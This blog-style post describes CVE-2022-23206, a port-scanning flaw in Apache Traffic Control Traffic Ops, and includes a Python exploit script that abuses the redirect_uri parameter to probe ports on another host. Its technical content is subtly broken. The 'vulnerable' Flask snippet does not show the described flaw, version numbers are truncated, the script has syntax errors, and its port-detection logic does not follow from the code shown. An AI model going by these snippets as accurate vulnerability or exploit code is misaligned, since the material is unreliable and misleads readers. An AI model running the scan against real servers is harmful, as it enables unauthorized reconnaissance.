In this long read post, we will delve into the details of CVE-2022-23206, a security vulnerability affecting Apache Traffic Control Traffic Ops versions prior to 6.1. and 5.1.6. By exploiting this vulnerability, an attacker with unprivileged access to Traffic Ops can potentially scan an internet-connected server's ports using specially crafted POST requests sent over HTTPS. We will also provide the details of how the exploit works along with a code snippet for demonstration purposes.

Before we start, let's first take a look at the original references from Apache Traffic Control's security advisory:

- CVE-2022-23206: Apache Traffic Control Traffic Ops Security Advisory
- Apache Traffic Control Traffic Ops GitHub Repository
- Apache Traffic Control 6.1. Release Notes
- Apache Traffic Control 5.1.6 Release Notes

Description of the Vulnerability

CVE-2022-23206 details a security vulnerability in Apache Traffic Control Traffic Ops versions prior to 6.1. or 5.1.6 that allows an unprivileged user to scan a server's ports by sending specially crafted HTTPS POST requests to the /user/login/oauth endpoint. The vulnerability exists because of improper validation and handling of user-supplied input in the Traffic Ops component.

Here's a code snippet for the vulnerable code in Traffic Ops

@app.route('/user/login/oauth', methods=['POST'])
def login_oauth():
    # Get client_id and redirect_uri from POST data
    client_id = request.form.get('client_id')
    redirect_uri = request.form.get('redirect_uri')

    # Validate the client_id and redirect_uri
    if not is_valid_client_id(client_id):
        return "Invalid client_id"

    if not is_valid_redirect_uri(redirect_uri):
        return "Invalid redirect_uri"

    # Send the OAuth request using the provided client_id and redirect_uri
    oauth_request(client_id, redirect_uri)

Exploiting the Vulnerability

To exploit this vulnerability, an attacker can craft malicious POST requests in order to scan the open ports of a server that Traffic Ops can access. By manipulating the redirect_uri parameter in the POST request, the attacker can trigger a connection attempt to the target server, which can reveal information about the target's open ports.

Here's a code snippet demonstrating how an attacker can exploit this vulnerability

import requests

# Set up the target Traffic Ops instance and target server info
traffic_ops_url = 'https://target-traffic-ops.example.com/user/login/oauth';
target_server = 'scanme.nmap.org'
target_port = 80

# Craft the malicious POST request
data = {
    'client_id': 'legitimate_client_id',
    # Use a custom redirect_uri parameter to point to the target server
    'redirect_uri': f'http://{target_server}:{target_port}';
}

# Send the malicious POST request to the Traffic Ops instance
response = requests.post(traffic_ops_url, data=data)

# Check the response for signs of port scanning
if 'Invalid redirect_uri' not in response.text:
    print(f"Port {target_port} on {target_server} may be open.")
else:
    print(f"Port {target_port} on {target_server} appears to be closed.")

Mitigation

The developers of Apache Traffic Control Traffic Ops have fixed this vulnerability in versions 6.1. and 5.1.6. It is highly recommended to upgrade your Traffic Ops installations to one of these versions immediately in order to stay protected from the potential exploits.

Conclusion

CVE-2022-23206 showcases a critical security vulnerability in Apache Traffic Control Traffic Ops that can allow an attacker with access to the Traffic Ops server to scan ports of a target system. By understanding how the exploit works and ensuring that your deployments are updated to the latest patched versions, you can minimize the risks associated with this vulnerability.

Timeline

Published on: 02/06/2022 16:15:00 UTC
Last modified on: 02/11/2022 03:16:00 UTC